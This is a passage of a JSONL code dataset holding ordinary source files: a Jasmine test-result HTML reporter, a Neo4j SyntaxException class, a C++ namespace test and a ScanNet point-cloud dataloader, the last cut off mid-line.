-{"text": "jasmine.HtmlReporterHelpers = {};\n\njasmine.HtmlReporterHelpers.createDom = function(type, attrs, childrenVarArgs) {\n var el = document.createElement(type);\n\n for (var i = 2; i < arguments.length; i++) {\n var child = arguments[i];\n\n if (typeof child === 'string') {\n el.appendChild(document.createTextNode(child));\n } else {\n if (child) {\n el.appendChild(child);\n }\n }\n }\n\n for (var attr in attrs) {\n if (attr == \"className\") {\n el[attr] = attrs[attr];\n } else {\n el.setAttribute(attr, attrs[attr]);\n }\n }\n\n return el;\n};\n\njasmine.HtmlReporterHelpers.getSpecStatus = function(child) {\n var results = child.results();\n var status = results.passed() ? 'passed' : 'failed';\n if (results.skipped) {\n status = 'skipped';\n }\n\n return status;\n};\n\njasmine.HtmlReporterHelpers.appendToSummary = function(child, childElement) {\n var parentDiv = this.dom.summary;\n var parentSuite = (typeof child.parentSuite == 'undefined') ? 'suite' : 'parentSuite';\n var parent = child[parentSuite];\n\n if (parent) {\n if (typeof this.views.suites[parent.id] == 'undefined') {\n this.views.suites[parent.id] = new jasmine.HtmlReporter.SuiteView(parent, this.dom, this.views);\n }\n parentDiv = this.views.suites[parent.id].element;\n }\n\n parentDiv.appendChild(childElement);\n};\n\n\njasmine.HtmlReporterHelpers.addHelpers = function(ctor) {\n for(var fn in jasmine.HtmlReporterHelpers) {\n ctor.prototype[fn] = jasmine.HtmlReporterHelpers[fn];\n }\n};\n\njasmine.HtmlReporter = function(_doc) {\n var self = this;\n var doc = _doc || window.document;\n\n var reporterView;\n\n var dom = {};\n\n // Jasmine Reporter Public Interface\n self.logRunningSpecs = false;\n\n self.reportRunnerStarting = function(runner) {\n var specs = runner.specs() || [];\n\n if (specs.length == 0) {\n return;\n }\n\n createReporterDom(runner.env.versionString());\n doc.body.appendChild(dom.reporter);\n setExceptionHandling();\n\n reporterView = new jasmine.HtmlReporter.ReporterView(dom);\n reporterView.addSpecs(specs, self.specFilter);\n };\n\n self.reportRunnerResults = function(runner) {\n reporterView && reporterView.complete();\n };\n\n self.reportSuiteResults = function(suite) {\n reporterView.suiteComplete(suite);\n };\n\n self.reportSpecStarting = function(spec) {\n if (self.logRunningSpecs) {\n self.log('>> Jasmine Running ' + spec.suite.description + ' ' + spec.description + '...');\n }\n };\n\n self.reportSpecResults = function(spec) {\n reporterView.specComplete(spec);\n };\n\n self.log = function() {\n var console = jasmine.getGlobal().console;\n if (console && console.log) {\n if (console.log.apply) {\n console.log.apply(console, arguments);\n } else {\n console.log(arguments); // ie fix: console.log.apply doesn't exist on ie\n }\n }\n };\n\n self.specFilter = function(spec) {\n if (!focusedSpecName()) {\n return true;\n }\n\n return spec.getFullName().indexOf(focusedSpecName()) === 0;\n };\n\n return self;\n\n function focusedSpecName() {\n var specName;\n\n (function memoizeFocusedSpec() {\n if (specName) {\n return;\n }\n\n var paramMap = [];\n var params = jasmine.HtmlReporter.parameters(doc);\n\n for (var i = 0; i < params.length; i++) {\n var p = params[i].split('=');\n paramMap[decodeURIComponent(p[0])] = decodeURIComponent(p[1]);\n }\n\n specName = paramMap.spec;\n })();\n\n return specName;\n }\n\n function createReporterDom(version) {\n dom.reporter = self.createDom('div', { id: 'HTMLReporter', className: 'jasmine_reporter' },\n dom.banner = self.createDom('div', { className: 'banner' },\n self.createDom('span', { className: 'title' }, \"Jasmine \"),\n self.createDom('span', { className: 'version' }, version)),\n\n dom.symbolSummary = self.createDom('ul', {className: 'symbolSummary'}),\n dom.alert = self.createDom('div', {className: 'alert'},\n self.createDom('span', { className: 'exceptions' },\n self.createDom('label', { className: 'label', 'for': 'no_try_catch' }, 'No try/catch'),\n self.createDom('input', { id: 'no_try_catch', type: 'checkbox' }))),\n dom.results = self.createDom('div', {className: 'results'},\n dom.summary = self.createDom('div', { className: 'summary' }),\n dom.details = self.createDom('div', { id: 'details' }))\n );\n }\n\n function noTryCatch() {\n return window.location.search.match(/catch=false/);\n }\n\n function searchWithCatch() {\n var params = jasmine.HtmlReporter.parameters(window.document);\n var removed = false;\n var i = 0;\n\n while (!removed && i < params.length) {\n if (params[i].match(/catch=/)) {\n params.splice(i, 1);\n removed = true;\n }\n i++;\n }\n if (jasmine.CATCH_EXCEPTIONS) {\n params.push(\"catch=false\");\n }\n\n return params.join(\"&\");\n }\n\n function setExceptionHandling() {\n var chxCatch = document.getElementById('no_try_catch');\n\n if (noTryCatch()) {\n chxCatch.setAttribute('checked', true);\n jasmine.CATCH_EXCEPTIONS = false;\n }\n chxCatch.onclick = function() {\n window.location.search = searchWithCatch();\n };\n }\n};\njasmine.HtmlReporter.parameters = function(doc) {\n var paramStr = doc.location.search.substring(1);\n var params = [];\n\n if (paramStr.length > 0) {\n params = paramStr.split('&');\n }\n return params;\n}\njasmine.HtmlReporter.sectionLink = function(sectionName) {\n var link = '?';\n var params = [];\n\n if (sectionName) {\n params.push('spec=' + encodeURIComponent(sectionName));\n }\n if (!jasmine.CATCH_EXCEPTIONS) {\n params.push(\"catch=false\");\n }\n if (params.length > 0) {\n link += params.join(\"&\");\n }\n\n return link;\n};\njasmine.HtmlReporterHelpers.addHelpers(jasmine.HtmlReporter);\njasmine.HtmlReporter.ReporterView = function(dom) {\n this.startedAt = new Date();\n this.runningSpecCount = 0;\n this.completeSpecCount = 0;\n this.passedCount = 0;\n this.failedCount = 0;\n this.skippedCount = 0;\n\n this.createResultsMenu = function() {\n this.resultsMenu = this.createDom('span', {className: 'resultsMenu bar'},\n this.summaryMenuItem = this.createDom('a', {className: 'summaryMenuItem', href: \"#\"}, '0 specs'),\n ' | ',\n this.detailsMenuItem = this.createDom('a', {className: 'detailsMenuItem', href: \"#\"}, '0 failing'));\n\n this.summaryMenuItem.onclick = function() {\n dom.reporter.className = dom.reporter.className.replace(/ showDetails/g, '');\n };\n\n this.detailsMenuItem.onclick = function() {\n showDetails();\n };\n };\n\n this.addSpecs = function(specs, specFilter) {\n this.totalSpecCount = specs.length;\n\n this.views = {\n specs: {},\n suites: {}\n };\n\n for (var i = 0; i < specs.length; i++) {\n var spec = specs[i];\n this.views.specs[spec.id] = new jasmine.HtmlReporter.SpecView(spec, dom, this.views);\n if (specFilter(spec)) {\n this.runningSpecCount++;\n }\n }\n };\n\n this.specComplete = function(spec) {\n this.completeSpecCount++;\n\n if (isUndefined(this.views.specs[spec.id])) {\n this.views.specs[spec.id] = new jasmine.HtmlReporter.SpecView(spec, dom);\n }\n\n var specView = this.views.specs[spec.id];\n\n switch (specView.status()) {\n case 'passed':\n this.passedCount++;\n break;\n\n case 'failed':\n this.failedCount++;\n break;\n\n case 'skipped':\n this.skippedCount++;\n break;\n }\n\n specView.refresh();\n this.refresh();\n };\n\n this.suiteComplete = function(suite) {\n var suiteView = this.views.suites[suite.id];\n if (isUndefined(suiteView)) {\n return;\n }\n suiteView.refresh();\n };\n\n this.refresh = function() {\n\n if (isUndefined(this.resultsMenu)) {\n this.createResultsMenu();\n }\n\n // currently running UI\n if (isUndefined(this.runningAlert)) {\n this.runningAlert = this.createDom('a', { href: jasmine.HtmlReporter.sectionLink(), className: \"runningAlert bar\" });\n dom.alert.appendChild(this.runningAlert);\n }\n this.runningAlert.innerHTML = \"Running \" + this.completeSpecCount + \" of \" + specPluralizedFor(this.totalSpecCount);\n\n // skipped specs UI\n if (isUndefined(this.skippedAlert)) {\n this.skippedAlert = this.createDom('a', { href: jasmine.HtmlReporter.sectionLink(), className: \"skippedAlert bar\" });\n }\n\n this.skippedAlert.innerHTML = \"Skipping \" + this.skippedCount + \" of \" + specPluralizedFor(this.totalSpecCount) + \" - run all\";\n\n if (this.skippedCount === 1 && isDefined(dom.alert)) {\n dom.alert.appendChild(this.skippedAlert);\n }\n\n // passing specs UI\n if (isUndefined(this.passedAlert)) {\n this.passedAlert = this.createDom('span', { href: jasmine.HtmlReporter.sectionLink(), className: \"passingAlert bar\" });\n }\n this.passedAlert.innerHTML = \"Passing \" + specPluralizedFor(this.passedCount);\n\n // failing specs UI\n if (isUndefined(this.failedAlert)) {\n this.failedAlert = this.createDom('span', {href: \"?\", className: \"failingAlert bar\"});\n }\n this.failedAlert.innerHTML = \"Failing \" + specPluralizedFor(this.failedCount);\n\n if (this.failedCount === 1 && isDefined(dom.alert)) {\n dom.alert.appendChild(this.failedAlert);\n dom.alert.appendChild(this.resultsMenu);\n }\n\n // summary info\n this.summaryMenuItem.innerHTML = \"\" + specPluralizedFor(this.runningSpecCount);\n this.detailsMenuItem.innerHTML = \"\" + this.failedCount + \" failing\";\n };\n\n this.complete = function() {\n dom.alert.removeChild(this.runningAlert);\n\n this.skippedAlert.innerHTML = \"Ran \" + this.runningSpecCount + \" of \" + specPluralizedFor(this.totalSpecCount) + \" - run all\";\n\n if (this.failedCount === 0) {\n dom.alert.appendChild(this.createDom('span', {className: 'passingAlert bar'}, \"Passing \" + specPluralizedFor(this.passedCount)));\n } else {\n showDetails();\n }\n\n dom.banner.appendChild(this.createDom('span', {className: 'duration'}, \"finished in \" + ((new Date().getTime() - this.startedAt.getTime()) / 1000) + \"s\"));\n };\n\n return this;\n\n function showDetails() {\n if (dom.reporter.className.search(/showDetails/) === -1) {\n dom.reporter.className += \" showDetails\";\n }\n }\n\n function isUndefined(obj) {\n return typeof obj === 'undefined';\n }\n\n function isDefined(obj) {\n return !isUndefined(obj);\n }\n\n function specPluralizedFor(count) {\n var str = count + \" spec\";\n if (count > 1) {\n str += \"s\"\n }\n return str;\n }\n\n};\n\njasmine.HtmlReporterHelpers.addHelpers(jasmine.HtmlReporter.ReporterView);\n\n\njasmine.HtmlReporter.SpecView = function(spec, dom, views) {\n this.spec = spec;\n this.dom = dom;\n this.views = views;\n\n this.symbol = this.createDom('li', { className: 'pending' });\n this.dom.symbolSummary.appendChild(this.symbol);\n\n this.summary = this.createDom('div', { className: 'specSummary' },\n this.createDom('a', {\n className: 'description',\n href: jasmine.HtmlReporter.sectionLink(this.spec.getFullName()),\n title: this.spec.getFullName()\n }, this.spec.description)\n );\n\n this.detail = this.createDom('div', { className: 'specDetail' },\n this.createDom('a', {\n className: 'description',\n href: '?spec=' + encodeURIComponent(this.spec.getFullName()),\n title: this.spec.getFullName()\n }, this.spec.getFullName())\n );\n};\n\njasmine.HtmlReporter.SpecView.prototype.status = function() {\n return this.getSpecStatus(this.spec);\n};\n\njasmine.HtmlReporter.SpecView.prototype.refresh = function() {\n this.symbol.className = this.status();\n\n switch (this.status()) {\n case 'skipped':\n break;\n\n case 'passed':\n this.appendSummaryToSuiteDiv();\n break;\n\n case 'failed':\n this.appendSummaryToSuiteDiv();\n this.appendFailureDetail();\n break;\n }\n};\n\njasmine.HtmlReporter.SpecView.prototype.appendSummaryToSuiteDiv = function() {\n this.summary.className += ' ' + this.status();\n this.appendToSummary(this.spec, this.summary);\n};\n\njasmine.HtmlReporter.SpecView.prototype.appendFailureDetail = function() {\n this.detail.className += ' ' + this.status();\n\n var resultItems = this.spec.results().getItems();\n var messagesDiv = this.createDom('div', { className: 'messages' });\n\n for (var i = 0; i < resultItems.length; i++) {\n var result = resultItems[i];\n\n if (result.type == 'log') {\n messagesDiv.appendChild(this.createDom('div', {className: 'resultMessage log'}, result.toString()));\n } else if (result.type == 'expect' && result.passed && !result.passed()) {\n messagesDiv.appendChild(this.createDom('div', {className: 'resultMessage fail'}, result.message));\n\n if (result.trace.stack) {\n messagesDiv.appendChild(this.createDom('div', {className: 'stackTrace'}, result.trace.stack));\n }\n }\n }\n\n if (messagesDiv.childNodes.length > 0) {\n this.detail.appendChild(messagesDiv);\n this.dom.details.appendChild(this.detail);\n }\n};\n\njasmine.HtmlReporterHelpers.addHelpers(jasmine.HtmlReporter.SpecView);jasmine.HtmlReporter.SuiteView = function(suite, dom, views) {\n this.suite = suite;\n this.dom = dom;\n this.views = views;\n\n this.element = this.createDom('div', { className: 'suite' },\n this.createDom('a', { className: 'description', href: jasmine.HtmlReporter.sectionLink(this.suite.getFullName()) }, this.suite.description)\n );\n\n this.appendToSummary(this.suite, this.element);\n};\n\njasmine.HtmlReporter.SuiteView.prototype.status = function() {\n return this.getSpecStatus(this.suite);\n};\n\njasmine.HtmlReporter.SuiteView.prototype.refresh = function() {\n this.element.className += \" \" + this.status();\n};\n\njasmine.HtmlReporterHelpers.addHelpers(jasmine.HtmlReporter.SuiteView);\n\n/* @deprecated Use jasmine.HtmlReporter instead\n */\njasmine.TrivialReporter = function(doc) {\n this.document = doc || document;\n this.suiteDivs = {};\n this.logRunningSpecs = false;\n};\n\njasmine.TrivialReporter.prototype.createDom = function(type, attrs, childrenVarArgs) {\n var el = document.createElement(type);\n\n for (var i = 2; i < arguments.length; i++) {\n var child = arguments[i];\n\n if (typeof child === 'string') {\n el.appendChild(document.createTextNode(child));\n } else {\n if (child) { el.appendChild(child); }\n }\n }\n\n for (var attr in attrs) {\n if (attr == \"className\") {\n el[attr] = attrs[attr];\n } else {\n el.setAttribute(attr, attrs[attr]);\n }\n }\n\n return el;\n};\n\njasmine.TrivialReporter.prototype.reportRunnerStarting = function(runner) {\n var showPassed, showSkipped;\n\n this.outerDiv = this.createDom('div', { id: 'TrivialReporter', className: 'jasmine_reporter' },\n this.createDom('div', { className: 'banner' },\n this.createDom('div', { className: 'logo' },\n this.createDom('span', { className: 'title' }, \"Jasmine\"),\n this.createDom('span', { className: 'version' }, runner.env.versionString())),\n this.createDom('div', { className: 'options' },\n \"Show \",\n showPassed = this.createDom('input', { id: \"__jasmine_TrivialReporter_showPassed__\", type: 'checkbox' }),\n this.createDom('label', { \"for\": \"__jasmine_TrivialReporter_showPassed__\" }, \" passed \"),\n showSkipped = this.createDom('input', { id: \"__jasmine_TrivialReporter_showSkipped__\", type: 'checkbox' }),\n this.createDom('label', { \"for\": \"__jasmine_TrivialReporter_showSkipped__\" }, \" skipped\")\n )\n ),\n\n this.runnerDiv = this.createDom('div', { className: 'runner running' },\n this.createDom('a', { className: 'run_spec', href: '?' }, \"run all\"),\n this.runnerMessageSpan = this.createDom('span', {}, \"Running...\"),\n this.finishedAtSpan = this.createDom('span', { className: 'finished-at' }, \"\"))\n );\n\n this.document.body.appendChild(this.outerDiv);\n\n var suites = runner.suites();\n for (var i = 0; i < suites.length; i++) {\n var suite = suites[i];\n var suiteDiv = this.createDom('div', { className: 'suite' },\n this.createDom('a', { className: 'run_spec', href: '?spec=' + encodeURIComponent(suite.getFullName()) }, \"run\"),\n this.createDom('a', { className: 'description', href: '?spec=' + encodeURIComponent(suite.getFullName()) }, suite.description));\n this.suiteDivs[suite.id] = suiteDiv;\n var parentDiv = this.outerDiv;\n if (suite.parentSuite) {\n parentDiv = this.suiteDivs[suite.parentSuite.id];\n }\n parentDiv.appendChild(suiteDiv);\n }\n\n this.startedAt = new Date();\n\n var self = this;\n showPassed.onclick = function(evt) {\n if (showPassed.checked) {\n self.outerDiv.className += ' show-passed';\n } else {\n self.outerDiv.className = self.outerDiv.className.replace(/ show-passed/, '');\n }\n };\n\n showSkipped.onclick = function(evt) {\n if (showSkipped.checked) {\n self.outerDiv.className += ' show-skipped';\n } else {\n self.outerDiv.className = self.outerDiv.className.replace(/ show-skipped/, '');\n }\n };\n};\n\njasmine.TrivialReporter.prototype.reportRunnerResults = function(runner) {\n var results = runner.results();\n var className = (results.failedCount > 0) ? \"runner failed\" : \"runner passed\";\n this.runnerDiv.setAttribute(\"class\", className);\n //do it twice for IE\n this.runnerDiv.setAttribute(\"className\", className);\n var specs = runner.specs();\n var specCount = 0;\n for (var i = 0; i < specs.length; i++) {\n if (this.specFilter(specs[i])) {\n specCount++;\n }\n }\n var message = \"\" + specCount + \" spec\" + (specCount == 1 ? \"\" : \"s\" ) + \", \" + results.failedCount + \" failure\" + ((results.failedCount == 1) ? \"\" : \"s\");\n message += \" in \" + ((new Date().getTime() - this.startedAt.getTime()) / 1000) + \"s\";\n this.runnerMessageSpan.replaceChild(this.createDom('a', { className: 'description', href: '?'}, message), this.runnerMessageSpan.firstChild);\n\n this.finishedAtSpan.appendChild(document.createTextNode(\"Finished at \" + new Date().toString()));\n};\n\njasmine.TrivialReporter.prototype.reportSuiteResults = function(suite) {\n var results = suite.results();\n var status = results.passed() ? 'passed' : 'failed';\n if (results.totalCount === 0) { // todo: change this to check results.skipped\n status = 'skipped';\n }\n this.suiteDivs[suite.id].className += \" \" + status;\n};\n\njasmine.TrivialReporter.prototype.reportSpecStarting = function(spec) {\n if (this.logRunningSpecs) {\n this.log('>> Jasmine Running ' + spec.suite.description + ' ' + spec.description + '...');\n }\n};\n\njasmine.TrivialReporter.prototype.reportSpecResults = function(spec) {\n var results = spec.results();\n var status = results.passed() ? 'passed' : 'failed';\n if (results.skipped) {\n status = 'skipped';\n }\n var specDiv = this.createDom('div', { className: 'spec ' + status },\n this.createDom('a', { className: 'run_spec', href: '?spec=' + encodeURIComponent(spec.getFullName()) }, \"run\"),\n this.createDom('a', {\n className: 'description',\n href: '?spec=' + encodeURIComponent(spec.getFullName()),\n title: spec.getFullName()\n }, spec.description));\n\n\n var resultItems = results.getItems();\n var messagesDiv = this.createDom('div', { className: 'messages' });\n for (var i = 0; i < resultItems.length; i++) {\n var result = resultItems[i];\n\n if (result.type == 'log') {\n messagesDiv.appendChild(this.createDom('div', {className: 'resultMessage log'}, result.toString()));\n } else if (result.type == 'expect' && result.passed && !result.passed()) {\n messagesDiv.appendChild(this.createDom('div', {className: 'resultMessage fail'}, result.message));\n\n if (result.trace.stack) {\n messagesDiv.appendChild(this.createDom('div', {className: 'stackTrace'}, result.trace.stack));\n }\n }\n }\n\n if (messagesDiv.childNodes.length > 0) {\n specDiv.appendChild(messagesDiv);\n }\n\n this.suiteDivs[spec.suite.id].appendChild(specDiv);\n};\n\njasmine.TrivialReporter.prototype.log = function() {\n var console = jasmine.getGlobal().console;\n if (console && console.log) {\n if (console.log.apply) {\n console.log.apply(console, arguments);\n } else {\n console.log(arguments); // ie fix: console.log.apply doesn't exist on ie\n }\n }\n};\n\njasmine.TrivialReporter.prototype.getLocation = function() {\n return this.document.location;\n};\n\njasmine.TrivialReporter.prototype.specFilter = function(spec) {\n var paramMap = {};\n var params = this.getLocation().search.substring(1).split('&');\n for (var i = 0; i < params.length; i++) {\n var p = params[i].split('=');\n paramMap[decodeURIComponent(p[0])] = decodeURIComponent(p[1]);\n }\n\n if (!paramMap.spec) {\n return true;\n }\n return spec.getFullName().indexOf(paramMap.spec) === 0;\n};\n"} -{"text": "/*\n * Copyright (c) 2002-2020 \"Neo4j,\"\n * Neo4j Sweden AB [http://neo4j.com]\n *\n * This file is part of Neo4j.\n *\n * Neo4j is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\npackage org.neo4j.exceptions;\n\nimport java.util.Optional;\n\nimport org.neo4j.kernel.api.exceptions.Status;\n\nimport static java.lang.System.lineSeparator;\n\n@SuppressWarnings( \"OptionalUsedAsFieldOrParameterType\" )\npublic class SyntaxException extends Neo4jException\n{\n private final Optional offset;\n private final String query;\n\n public SyntaxException( String message, String query, Optional offset, Throwable cause )\n {\n super( message, cause );\n this.offset = offset;\n this.query = query;\n }\n\n public SyntaxException( String message, String query, int offset )\n {\n this( message, query, Optional.of( offset ), null );\n }\n\n public SyntaxException( String message, String query, int offset, Throwable cause )\n {\n this( message, query, Optional.of( offset ), cause );\n }\n\n public SyntaxException( String message, Throwable cause )\n {\n this( message, \"\", Optional.empty(), cause );\n }\n\n public SyntaxException( String message )\n {\n this( message, \"\", Optional.empty(), null );\n }\n\n @Override\n public Status status()\n {\n return Status.Statement.SyntaxError;\n }\n\n public Optional getOffset()\n {\n return offset;\n }\n\n @Override\n public String getMessage()\n {\n if ( offset.isPresent() )\n {\n //split can be empty if query = '\\n'\n var split = query.split( \"\\n\" );\n return super.getMessage() + lineSeparator() + findErrorLine( offset.get(), split.length != 0 ? split : new String[]{\"\"} );\n }\n else\n {\n return super.getMessage();\n }\n }\n\n private String findErrorLine( int offset, String[] message )\n {\n int currentOffset = offset;\n if ( message.length == 0 )\n {\n throw new IllegalArgumentException( \"message converted to empty list\" );\n }\n else\n {\n StringBuilder builder = new StringBuilder();\n for ( int i = 0; i < message.length; i++ )\n {\n String element = message[i];\n if ( i < message.length - 1 )\n {\n if ( element.length() >= currentOffset )\n {\n buildErrorString( builder, element, currentOffset );\n break;\n }\n else\n {\n //The extra minus one is there for the now missing \\n\n currentOffset -= element.length() + 1;\n }\n }\n else\n {\n buildErrorString( builder, element, Math.min( element.length(), currentOffset ) );\n }\n }\n return builder.toString();\n }\n }\n\n private void buildErrorString( StringBuilder builder, String element, int currentOffset )\n {\n builder.append( \"\\\"\" )\n .append( element.stripTrailing() ) // removes potential \\r at the end\n .append( \"\\\"\" )\n .append( lineSeparator() )\n .append( \" \".repeat( currentOffset + 1 ) ) // extra space to compensate for an opening quote\n .append( '^' );\n }\n}\n"} -{"text": "#include \"advancedcpp2.h\"\n\n\n// for namespace testing\nint a_ns::g_g = 77;\nint a_ns::g_class::s_g = 88;\nint a_ns::g_class::h_class::s_h = 99;\nint a_ns::d_ns::g_i = 111;\nint a_ns::d_ns::i_class::s_i = 222;\nint a_ns::d_ns::i_class::j_class::s_j = 333;\n\nint a_ns::get_g_g() { return g_g; }\nint a_ns::d_ns::get_g_i() { return g_i; }\n"} -{"text": "'''\nScanNet v2 Dataloader (Modified from SparseConvNet Dataloader)\nWritten by Li Jiang\n'''\n\nimport os, sys, glob, math, numpy as np\nimport scipy.ndimage\nimport scipy.interpolate\nimport torch\nfrom torch.utils.data import DataLoader\n\nsys.path.append('../')\n\nfrom util.config import cfg\nfrom util.log import logger\nfrom lib.pointgroup_ops.functions import pointgroup_ops\n\nclass Dataset:\n def __init__(self, test=False):\n self.data_root = cfg.data_root\n self.dataset = cfg.dataset\n self.filename_suffix = cfg.filename_suffix\n\n self.batch_size = cfg.batch_size\n self.train_workers = cfg.train_workers\n self.val_workers = cfg.train_workers\n\n self.full_scale = cfg.full_scale\n self.scale = cfg.scale\n self.max_npoint = cfg.max_npoint\n self.mode = cfg.mode\n\n if test:\n self.test_split = cfg.split # val or test\n self.test_workers = cfg.test_workers\n cfg.batch_size = 1\n\n\n def trainLoader(self):\n train_file_names = sorted(glob.glob(os.path.join(self.data_root, self.dataset, 'train', '*' + self.filename_suffix)))\n self.train_files = [torch.load(i) for i in train_file_names]\n\n logger.info('Training samples: {}'.format(len(self.train_files)))\n\n train_set = list(range(len(self.train_files)))\n self.train_data_loader = DataLoader(train_set, batch_size=self.batch_size, collate_fn=self.trainMerge, num_workers=self.train_workers,\n shuffle=True, sampler=None, drop_last=True, pin_memory=True)\n\n\n def valLoader(self):\n val_file_names = sorted(glob.glob(os.path.join(self.data_root, self.dataset, 'val', '*' + self.filename_suffix)))\n self.val_files = [torch.load(i) for i in val_file_names]\n\n logger.info('Validation samples: {}'.format(len(self.val_files)))\n\n val_set = list(range(len(self.val_files)))\n self.val_data_loader = DataLoader(val_set, batch_size=self.batch_size, collate_fn=self.valMerge, num_workers=self.val_workers,\n shuffle=False, drop_last=False, pin_memory=True)\n\n\n def testLoader(self):\n self.test_file_names = sorted(glob.glob(os.path.join(self.data_root, self.dataset, self.test_split, '*' + self.filename_suffix)))\n self.test_files = [torch.load(i) for i in self.test_file_names]\n\n logger.info('Testing samples ({}): {}'.format(self.test_split, len(self.test_files)))\n\n test_set = list(np.arange(len(self.test_files)))\n self.test_data_loader = DataLoader(test_set, batch_size=1, collate_fn=self.testMerge, num_workers=self.test_workers,\n shuffle=False, drop_last=False, pin_memory=True)\n\n #Elastic distortion\n def elastic(self, x, gran, mag):\n blur0 = np.ones((3, 1, 1)).astype('float32') / 3\n blur1 = np.ones((1, 3, 1)).astype('float32') / 3\n blur2 = np.ones((1, 1, 3)).astype('float32') / 3\n\n bb = np.abs(x).max(0).astype(np.int32)//gran + 3\n noise = [np.random.randn(bb[0], bb[1], bb[2]).astype('float32') for _ in range(3)]\n noise = [scipy.ndimage.filters.convolve(n, blur0, mode='constant', cval=0) for n in noise]\n noise = [scipy.ndimage.filters.convolve(n, blur1, mode='constant', cval=0) for n in noise]\n noise = [scipy.ndimage.filters.convolve(n, blur2, mode='constant', cval=0) for n in noise]\n noise = [scipy.ndimage.filters.convolve(n, blur0, mode='constant', cval=0) for n in noise]\n noise = [scipy.ndimage.filters.convolve(n, blur1, mode='constant', cval=0) for n in noise]\n noise = [scipy.ndimage.filters.convolve(n, blur2, mode='constant', cval=0) for n in noise]\n ax = [np.linspace(-(b-1)*gran, (b-1)*gran, b) for b in bb]\n interp = [scipy.interpolate.RegularGridInterpolator(ax, n, bounds_error=0, fill_value=0) for n in noise]\n def g(x_):\n return np.hstack([i(x_)[:,None] for i in interp])\n return x + g(x) * mag\n\n\n def getInstanceInfo(self, xyz, instance_label):\n '''\n :param xyz: (n, 3)\n :param instance_label: (n), int, (0~nInst-1, -100)\n :return: instance_num, dict\n '''\n instance_info = np.ones((xyz.shape[0], 9), dtype=np.float32) * -100.0 # (n, 9), float, (cx, cy, cz, minx, miny, minz, maxx, maxy, maxz)\n instance_pointnum = [] # (nInst), int\n instance_num = int(instance_label.max()) + 1\n for i_ in range(instance_num):\n inst_idx_i = np.where(instance_label == i_)\n\n ### instance_info\n xyz_i = xyz[inst_idx_i]\n min_xyz_i = xyz_i.min(0)\n max_xyz_i = xyz_i.max(0)\n mean_xyz_i = xyz_i.mean(0)\n instance_info_i = instance_info[inst_idx_i]\n instance_info_i[:, 0:3] = mean_xyz_i\n instance_info_i[:, 3:6] = min_xyz_i\n instance_info_i[:, 6:9] = max_xyz_i\n instance_info[inst_idx_i] = instance_info_i\n\n ### instance_pointnum\n instance_pointnum.append(inst_idx_i[0].size)\n\n return instance_num, {\"instance_info\": instance_info, \"instance_pointnum\": instance_pointnum}\n\n\n def dataAugment(self, xyz, jitter=False, flip=False, rot=False):\n m = np.eye(3)\n if jitter:\n m += np.random.randn(3, 3) * 0.1\n if flip:\n m[0][0] *= np.random.randint(0, 2) * 2 - 1 # flip x randomly\n if rot:\n theta = np.random.rand() * 2 * math.pi\n m = np.matmul(m, [[math.cos(theta), math.sin(theta), 0], [-math.sin(theta), math.cos(theta), 0], [0, 0, 1]]) # rotation\n return np.matmul(xyz, m)\n\n\n def crop(self, xyz):\n '''\n :param xyz: (n, 3) >= 0\n '''\n xyz_offset = xyz.copy()\n valid_idxs = (xyz_offset.min(1) >= 0)\n assert valid_idxs.sum() == xyz.shape[0]\n\n full_scale = np.array([self.full_scale[1]] * 3)\n room_range = xyz.max(0) - xyz.min(0)\n while (valid_idxs.sum() > self.max_npoint):\n offset = np.clip(full_scale - room_range + 0.001, None, 0) * np.random.rand(3)\n xyz_offset = xyz + offset\n valid_idxs = (xyz_offset.min(1) >= 0) * ((xyz_offset < full_scale).sum(1) == 3)\n full_scale[:2] -= 32\n\n return xyz_offset, valid_idxs\n\n\n def getCroppedInstLabel(self, instance_label, valid_idxs):\n instance_label = instance_label[valid_idxs]\n j = 0\n while (j < instance_label.max()):\n if (len(np.where(instance_label == j)[0]) == 0):\n instance_label[instance_label == instance_label.max()] = j\n j += 1\n return instance_label\n\n\n def trainMerge(self, id):\n locs = []\n locs_float = []\n feats = []\n labels = []\n instance_labels = []\n\n instance_infos = [] # (N, 9)\n instance_pointnum = [] # (total_nInst), int\n\n batch_offsets = [0]\n\n total_inst_num = 0\n for i, idx in enumerate(id):\n xyz_origin, rgb, label, instance_label = self.train_files[idx]\n\n ### jitter / flip x / rotation\n xyz_middle = self.dataAugment(xyz_origin, True, True, True)\n\n ### scale\n xyz = xyz_middle * self.scale\n\n ### elastic\n xyz = self.elastic(xyz, 6 * self.scale // 50, 40 * self.scale / 50)\n xyz = self.elastic(xyz, 20 * self.scale // 50, 160 * self.scale / 50)\n\n ### offset\n xyz -= xyz.min(0)\n\n ### crop\n xyz, valid_idxs = self.crop(xyz)\n\n xyz_middle = xyz_middle[valid_idxs]\n xyz = xyz[valid_idxs]\n rgb = rgb[valid_idxs]\n label = label[valid_idxs]\n instance_label = self.getCroppedInstLabel(instance_label, valid_idxs)\n\n ### get instance information\n inst_num, inst_infos = self.getInstanceInfo(xyz_middle, instance_label.astype(np.int32))\n inst_info = inst_infos[\"instance_info\"] # (n, 9), (cx, cy, cz, minx, miny, minz, maxx, maxy, maxz)\n inst_pointnum = inst_infos[\"instance_pointnum\"] # (nInst), list\n\n instance_label[np.where(instance_label != -100)] += total_inst_num\n total_inst_num += inst_num\n\n ### merge the scene to the batch\n batch_offsets.append(batch_offsets[-1] + xyz.shape[0])\n\n locs.append(torch.cat([torch.LongTensor(xyz.shape[0], 1).fill_(i), torch.from_numpy(xyz).long()], 1))\n locs_float.append(torch.from_numpy(xyz_middle))\n feats.append(torch.from_numpy(rgb) + torch.randn(3) * 0.1)\n labels.append(torch.from_numpy(label))\n instance_labels.append(torch.from_numpy(instance_label))\n\n instance_infos.append(torch.from_numpy(inst_info))\n instance_pointnum.extend(inst_pointnum)\n\n ### merge all the scenes in the batchd\n batch_offsets = torch.tensor(batch_offsets, dtype=torch.int) # int (B+1)\n\n locs = torch.cat(locs, 0) # long (N, 1 + 3), the batch item idx is put in locs[:, 0]\n locs_float = torch.cat(locs_float, 0).to(torch.float32) # float (N, 3)\n feats = torch.cat(feats, 0) # float (N, C)\n labels = torch.cat(labels, 0).long() # long (N)\n instance_labels = torch.cat(instance_labels, 0).long() # long (N)\n\n instance_infos = torch.cat(instance_infos, 